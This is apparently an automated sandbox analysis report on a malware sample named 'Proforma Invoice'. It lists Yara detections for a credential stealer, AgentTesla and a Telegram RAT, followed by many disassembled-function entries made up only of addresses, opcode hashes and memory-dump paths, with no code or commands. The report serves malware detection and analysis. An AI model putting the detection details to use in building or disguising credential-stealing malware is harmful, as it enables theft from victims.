Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.3529968351.0000000002891000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.3529968351.0000000002891000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.3529968351.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.3529968351.00000000028C8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.3529968351.00000000028C8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Function 008ECEA0 Relevance: 2.2, Strings: 1, Instructions: 983COMMON

Download Yara Rule

Strings

Ehq", xrefs: 008ED291

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID: Ehq"
API String ID: 0-672064728
Opcode ID: 489346e3ee85fa36069cdbd76a95165ff0eba43cfd5266def64b6a49b5f9c79b
Instruction ID: 63fbc4bf4084479791fdc008b391dfb8319c5cdb7443d565c6cecacc216ba78e
Opcode Fuzzy Hash: 489346e3ee85fa36069cdbd76a95165ff0eba43cfd5266def64b6a49b5f9c79b
Instruction Fuzzy Hash: 79A2C475A00228CFDB64CF69C884AD9BBB2FF89304F1581E9D509AB365DB319E85CF40

Function 008EE630 Relevance: .7, Instructions: 651COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a0d1328c95ee3cf3553785b13b50b8b64e6568ec889564eb74d6ec06e96727a
Instruction ID: a691e8d7f4ad594b2b9e562c1689f437220f33c1d1dd08a3ddc9ef0acf0f792d
Opcode Fuzzy Hash: 3a0d1328c95ee3cf3553785b13b50b8b64e6568ec889564eb74d6ec06e96727a
Instruction Fuzzy Hash: FA423D34B00249CFDB14DF6AC894A6A7BF6FF9A310B2584A9D506CB3A5DB31DC41CB51

Function 05A02A88 Relevance: .3, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 621d253f031f837131ed7285940e0a63dd9ec3f4b9d81df055fab018293efad2
Instruction ID: 6fd4f94031b75e2f92d0e8727e153438003cdd4b56de26a6c56e884e87fd94af
Opcode Fuzzy Hash: 621d253f031f837131ed7285940e0a63dd9ec3f4b9d81df055fab018293efad2
Instruction Fuzzy Hash: C7E1F674E15618CFDB54DF69E888B9DBBB2FF89300F1090A9D049A7295DB345E8ACF10

Function 05A008A0 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f13c584f718f31663d6ff1a6edfa2c09881802d36e214c6aade82309739b077
Instruction ID: 987e2bdf3191ec5751a2decad640b512707599a008810727aca31889ae5af8dd
Opcode Fuzzy Hash: 8f13c584f718f31663d6ff1a6edfa2c09881802d36e214c6aade82309739b077
Instruction Fuzzy Hash: 1581D470D15608CFDB54DFA9E448BADBBF2FF89304F50A02AD019A72A5DB34598ACF40

Function 06DC79B4 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

2, xrefs: 06DC7A08

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: cae04218c17588b6455b96bb11fb5b05f52d7ef537b4b48b148224f8593fe74b
Instruction ID: 4a2fc187b42d3088ce66b431f1b8ed0cc0905a74b0a810ca1a7a2755c814f60a
Opcode Fuzzy Hash: cae04218c17588b6455b96bb11fb5b05f52d7ef537b4b48b148224f8593fe74b
Instruction Fuzzy Hash: D301DF70905129CFEBA29F18D889B9EB7B0FF85310F0040E6C4189B606CB318EC4DF92

Function 008EEEC0 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b96506df5c831dd3d0b02254ecee58e8022fe62008538d7615b2ff7d0ac2c18f
Instruction ID: ffaa8b3b85f63860876cd072b10d3673e206eeb9a11d5207372bd0aa79184b4d
Opcode Fuzzy Hash: b96506df5c831dd3d0b02254ecee58e8022fe62008538d7615b2ff7d0ac2c18f
Instruction Fuzzy Hash: 75C1F0323046558FDB159F69E850AAE7BA6FFCA310F14847AE905CB392DB34DC06C7A1

Function 008EF790 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 663acab1d3fe54f57449945bb60d35ac75fd47e83db8125a964514e8c6108fad
Instruction ID: dfc9e1f201077eacab27aef09336372b754ce794dfc99c44836653db7af7cc62
Opcode Fuzzy Hash: 663acab1d3fe54f57449945bb60d35ac75fd47e83db8125a964514e8c6108fad
Instruction Fuzzy Hash: EC81E535A00658DFCB14EF69C484A9EBBF5FF89310B158169E946DB362DB30ED42CB90

Function 008E0928 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80ec9248fac95c1efacbad86c658225c2ef24f3b66b0acd8a00faf8cdd716180
Instruction ID: b79f9fe293deef254d6a96b83778a9114e8936039dacfae62d6ca15b398eb2c3
Opcode Fuzzy Hash: 80ec9248fac95c1efacbad86c658225c2ef24f3b66b0acd8a00faf8cdd716180
Instruction Fuzzy Hash: 20714B34B001588FC708DB69D494A6DBBF2FF89711F2584A9E506EB361CB71AC45CF91

Function 008E8F60 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d7a247177ec03f5ab640acee83cd98d965db75be3c4558ad7569a0da054f7f5
Instruction ID: f85e7d7a10f0e49fbd68a102c80459b0ab6130a005471d7cf8cac1498503a796
Opcode Fuzzy Hash: 5d7a247177ec03f5ab640acee83cd98d965db75be3c4558ad7569a0da054f7f5
Instruction Fuzzy Hash: 6B41B7718092989FD702EF68D8A569ABFB0EF07304F1484DAD084DB252DB784A49CB66

Function 05A01C50 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91c69ee7bdf0f16d8da51fee8221c5b6cfdf088490e075253818ad49c7f95ddd
Instruction ID: 0e2e677a9c3a83ca2a9a913c8967191acf1fad719edf6b08265b5ba8ff646700
Opcode Fuzzy Hash: 91c69ee7bdf0f16d8da51fee8221c5b6cfdf088490e075253818ad49c7f95ddd
Instruction Fuzzy Hash: 83411F70D14248CFDB04DF9AE844BEDBBF6FB8A314F10A02AD519A7295DB74894ACF04

Function 008E0918 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ffcab2cc3ef70de4b9a47865a15cc4106c2a521a23defeddc7cc3a6cf902bc
Instruction ID: 04fa6c4e3eb34029e29c2e65ba7c6fe34049a4138f452f2d691c350a99233bf9
Opcode Fuzzy Hash: d9ffcab2cc3ef70de4b9a47865a15cc4106c2a521a23defeddc7cc3a6cf902bc
Instruction Fuzzy Hash: 3F416C34B002589FC744DFA9D498AAD7BF2FF89310F258469E906EB3A1CE719C45CB51

Function 008E099D Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de8bb320c1fc4ea4a22a07b03147b0cb8b2fca90b7b8ca34c0af30244c639485
Instruction ID: d99b2c49b30fbb8eba3a1f2144991bdedc97bfa40f86a6c148e98303e5dfd91c
Opcode Fuzzy Hash: de8bb320c1fc4ea4a22a07b03147b0cb8b2fca90b7b8ca34c0af30244c639485
Instruction Fuzzy Hash: 3B41E734B001148FC744EFA9D498A6DBBF2FF89711B258469E906EB3A1CE719C45CF51

Function 008E13FC Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c4bf54464e67a86e960886f04b5dba9d7e647f9828f5e7ef25f40cf2b44dcf5
Instruction ID: 0562962fa35b38ba2200912b6c60b398d53dc5cb66dc8b6c5ea269d10358aa24
Opcode Fuzzy Hash: 0c4bf54464e67a86e960886f04b5dba9d7e647f9828f5e7ef25f40cf2b44dcf5
Instruction Fuzzy Hash: BC3114B0D012899FDB10CFAAC594ADEBFF5BF49740F248069E909AB350DB359D45CBA0

Function 008E1408 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 235eb5646793d3ae1506ad390d16c950bccd568a7565bc3169822e7f6110be91
Instruction ID: 64b4cb75750e909acf662621458c7b5fce848148084788ffd0d6d4b8f6013953
Opcode Fuzzy Hash: 235eb5646793d3ae1506ad390d16c950bccd568a7565bc3169822e7f6110be91
Instruction Fuzzy Hash: CB3136B0D002899FDF10CFAAC484ADEBBF5BF48740F248029E509AB350DB349940CB90

Function 0083D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453359666.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_83d000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3244cc1782b44ca7122c4a0b08eb939ec29cbcfba51251c2b56ca6e38f40fc4f
Instruction ID: 34917dfce1992d757b45129f8288942520c02da4073147cf39b14aca3f357599
Opcode Fuzzy Hash: 3244cc1782b44ca7122c4a0b08eb939ec29cbcfba51251c2b56ca6e38f40fc4f
Instruction Fuzzy Hash: FD21F572604344EFDB15DF14E9C0B26BF65FBC8318F24C569E9098B256C336D856CAE2

Function 0084D030 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453394339.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84d000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f75ca01aacd8cd060b9aec934495f5456393fa9b42caa5bb11aa67f9298eaee
Instruction ID: 56ea240e7649f52bf7b0d69c54ac26609429192a534bd45882358ba4d75de73a
Opcode Fuzzy Hash: 5f75ca01aacd8cd060b9aec934495f5456393fa9b42caa5bb11aa67f9298eaee
Instruction Fuzzy Hash: 92210771604748DFDB15DF14D9C4B26BFA5FB84314F24C569ED098B246C33AD806CBA2

Function 05A02740 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6a4bddc9ae5bf0cf8309a74481bc0fe93bde8531cd145a62f103af948b02245
Instruction ID: 1f2d54100e217fd0d855ca1897d11a1f3fcd9e8c64c40be36c8c44e844ce06aa
Opcode Fuzzy Hash: f6a4bddc9ae5bf0cf8309a74481bc0fe93bde8531cd145a62f103af948b02245
Instruction Fuzzy Hash: 35215978E14209DFDB04DFA9E848BBEBBB6FF89300F109025D415A3295DB385A09CF91

Function 008E8FC8 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a4b3dfd9ffbd43a85e30634bab8986172ae8bf414340e0f96f74537ca60ddec
Instruction ID: 0eb300350a2aa2a2c0442c0ddf19f08e0fedf8ea02a079eb8f65a74d9aa5760f
Opcode Fuzzy Hash: 5a4b3dfd9ffbd43a85e30634bab8986172ae8bf414340e0f96f74537ca60ddec
Instruction Fuzzy Hash: 382188B0908648DFE740EFAAD4497ADBBF5FB4A304F6084A9D009E3251DBB44A88DF05

Function 008EE0D0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ae1f7be6fd0112b7e483bea41b9b4faa6c7890b1252ffce5e9eece34581536d
Instruction ID: b43b575a6ca22cb92fdc0c2096ecf985fa368e3d06537c811b4a4f7b995629cf
Opcode Fuzzy Hash: 6ae1f7be6fd0112b7e483bea41b9b4faa6c7890b1252ffce5e9eece34581536d
Instruction Fuzzy Hash: CA1123B5D0425DCBDF04CF9AD8856EEBBF6FB8A315F10802AD504B3210D7745A85CBA0

Function 0083D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453359666.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_83d000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction ID: 54f4d6c3c5c4ae6df5286174a312bca9eb26a0dcf368550830a57296b1e4fda8
Opcode Fuzzy Hash: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction Fuzzy Hash: DE11D376504380DFCB16CF10D5C4B16BF71FB94314F24C6A9D8494B656C33AD85ACBA2

Function 06DC2AFE Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25df62792553cf2aafaf2ddbfc66e06559eff30918ba84184bba3062f76209d1
Instruction ID: 4bdb52b4427e0ce23c74c112a77d10960106b202717e09a1c137f7dc3b635bd9
Opcode Fuzzy Hash: 25df62792553cf2aafaf2ddbfc66e06559eff30918ba84184bba3062f76209d1
Instruction Fuzzy Hash: 3B21E478A00229CFDB65DF28D998AD9B7B1FB48304F1181E9D918E7345DB749EC58F40

Function 0084D02B Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453394339.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84d000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6378273382ad61b692e8e45ce1cce0bbd419bee2ae48a67450022ee3627af51c
Instruction ID: dec6fc89c3064de98c28dcd7425f221bb6fe490ab1778dad1e1f97c571d4e960
Opcode Fuzzy Hash: 6378273382ad61b692e8e45ce1cce0bbd419bee2ae48a67450022ee3627af51c
Instruction Fuzzy Hash: 60118E76504684DFCB16DF14D9C4B16FF62FB84314F24C6AAD8094B656C33AD81ACBA2

Function 06DDA478 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab0604dfce443e8571c86f8a6b953497c98dbc6d29880c2bcaa55761e11f183b
Instruction ID: 0cae014afea50149e41bd3d2d4f2fc9a01f4db1f0a8997f78a32b39cd0bc2213
Opcode Fuzzy Hash: ab0604dfce443e8571c86f8a6b953497c98dbc6d29880c2bcaa55761e11f183b
Instruction Fuzzy Hash: 25119FB4E01209DFCB44EFA8D549AAEBBF1FB48300F1485AAD819E7351DB349A41CF91

Function 06DDF4E0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffb4aec52d7d75b1aff0638f974b62470853eb3b8f2889787104ea1f526e4854
Instruction ID: ba3b937ccaa53d5cbfbd3a5e9b86cf795a2fbc3f305d0c815b341283f3378b03
Opcode Fuzzy Hash: ffb4aec52d7d75b1aff0638f974b62470853eb3b8f2889787104ea1f526e4854
Instruction Fuzzy Hash: F811F3B0E002099FDB44DFA9C9517BEBBF5FF89300F20846A9518E7355DA309A418B91

Function 0083D76D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453359666.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_83d000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c1d7ef2d979373ce256a987941379457c65f83dbc039d74cf69a3cdc8235121
Instruction ID: 411b372637f587a8c152fbc331ae658f1c0212739e2239b9a01ba0fbaac58207
Opcode Fuzzy Hash: 6c1d7ef2d979373ce256a987941379457c65f83dbc039d74cf69a3cdc8235121
Instruction Fuzzy Hash: 5501D631005348EAE7104B25ED84B66FFD8FFD2764F18C41AED098A286C7799C44CAF2

Function 008E0898 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bffc6328791e1c619420e3b655fa88dc02ecb9c7802dfd70d86b63870a3206dd
Instruction ID: e7f2e104224ac5e0d81506d0988d8ab9813b05c25fbc14f2f261046b6cba71e8
Opcode Fuzzy Hash: bffc6328791e1c619420e3b655fa88dc02ecb9c7802dfd70d86b63870a3206dd
Instruction Fuzzy Hash: 79F0FF226047984BC303A73DE82096A3FEAFEC36A0305457ED580CB356EE249D0987D2

Function 008E0B4B Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe46aa6e4d071e142a3c72e012e7c125965d8611e5421247a6e88d713ece8668
Instruction ID: 9e97bc0729f3e04901b2fbdaa9fba3a3c18c93e971a5200122cccc37487f6c13
Opcode Fuzzy Hash: fe46aa6e4d071e142a3c72e012e7c125965d8611e5421247a6e88d713ece8668
Instruction Fuzzy Hash: 9D011635B00158CFCB08DF6AE584AADB7F2FF89715F258499D005EB360DB74AD4A8B80

Function 0083D76C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453359666.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_83d000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 830b8c51644fe4c6493859f18be89a66803bd22ca1eabb0c2cb4eec61f1a26aa
Instruction ID: bc5262c5fb76140b193ebcd6771ed906eb92549ae987902449efdca7f289343b
Opcode Fuzzy Hash: 830b8c51644fe4c6493859f18be89a66803bd22ca1eabb0c2cb4eec61f1a26aa
Instruction Fuzzy Hash: D9F06271405344AEE7108A15D884B62FFD8EB91724F18C45AED488B686C2799C44CAB1

Function 008E08A8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29d7d1c60d43d94db016db68e40f1f80d2cc16b1cd3a8adea07a68e5ec61915d
Instruction ID: 4eebc7d4d6f9b1a5cafb5d6645ef5c54f21cafedb251928af1cc9263c2a7cd77
Opcode Fuzzy Hash: 29d7d1c60d43d94db016db68e40f1f80d2cc16b1cd3a8adea07a68e5ec61915d
Instruction Fuzzy Hash: 20F0E232700625478202A63EE82096E37EAFAC66B0304453ED115DB304EF60DC064BC1

Function 06DC27C5 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78d43f24c029188b2b6b38b5c3a461a795aefb9e76d01bd8565173edffc227b7
Instruction ID: 097f4ace4a95047918a136bf9e4aa2ff1b8f43555dd05eda27fc3c083e467d13
Opcode Fuzzy Hash: 78d43f24c029188b2b6b38b5c3a461a795aefb9e76d01bd8565173edffc227b7
Instruction Fuzzy Hash: 3811A274A08228CFCB65DF58D8989D9B7F2FB98700F1041E9A609E7749EB345E899F40

Function 06DC690E Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b98c26c357cf781b0c6a8fe285b1c175cda2bc427b37c6584b0f1ff89cc4ec1c
Instruction ID: a8cc44658e9c0fbfcbe09a370dfc9b5f8f5f7e5100637b67935df726bf10c89c
Opcode Fuzzy Hash: b98c26c357cf781b0c6a8fe285b1c175cda2bc427b37c6584b0f1ff89cc4ec1c
Instruction Fuzzy Hash: 0C0119B0A0021ECFDB64DF58D889AAAB3B6FB49304F1080E8950DA7654CB349EC59F91

Function 06DC7E57 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6057b55a8daba2632a9e23d682aabf5675e5500219aab16a5603c4ebe4104a1e
Instruction ID: 65d91b0acf00fa77eeaa7a5609e038cf41d35dd42564054b98f43c61859ab838
Opcode Fuzzy Hash: 6057b55a8daba2632a9e23d682aabf5675e5500219aab16a5603c4ebe4104a1e
Instruction Fuzzy Hash: 71F030B4A00218CFD754DF58D848A8DB3B6FB89310F1081E4E519E7394CB349E99DF51

Function 008EDEB0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a565c9cd6c9977203db4f67b9644aa97acdd42072b1fc63939e910f4bd40918
Instruction ID: 652906abfdb8fc0fe014d4e814eb2a96ecbbc0bf0c05c94ff8d91aadfccb5f78
Opcode Fuzzy Hash: 5a565c9cd6c9977203db4f67b9644aa97acdd42072b1fc63939e910f4bd40918
Instruction Fuzzy Hash: 7FF01574D04208EFCB84DFA8C944AACBBB4FB49300F10C0AA981897350D7319A16DF80

Function 06DDD6E0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de811be2351ef0c6d936989e9db7fa83d50a898014631dcef18b8efa41fce005
Instruction ID: d63da6889595a3926bca3ba3a19efc59d372389ba3da8275662c7e9dac23cb5b
Opcode Fuzzy Hash: de811be2351ef0c6d936989e9db7fa83d50a898014631dcef18b8efa41fce005
Instruction Fuzzy Hash: 23E0C975D04208EFCB84DFA8D541AACBBF5FB48310F10C0A9D81893351D6319A55DF80

Function 06DDA788 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de811be2351ef0c6d936989e9db7fa83d50a898014631dcef18b8efa41fce005
Instruction ID: 8a935a6025ee3961fb91d58172cdfbb87943ce8da99e6cee82e4e790112d0ac7
Opcode Fuzzy Hash: de811be2351ef0c6d936989e9db7fa83d50a898014631dcef18b8efa41fce005
Instruction Fuzzy Hash: F9E0C974D04208FFCB94DFA8D9406ACBBF4FB48310F14C0A9981893355D7319A51DF80

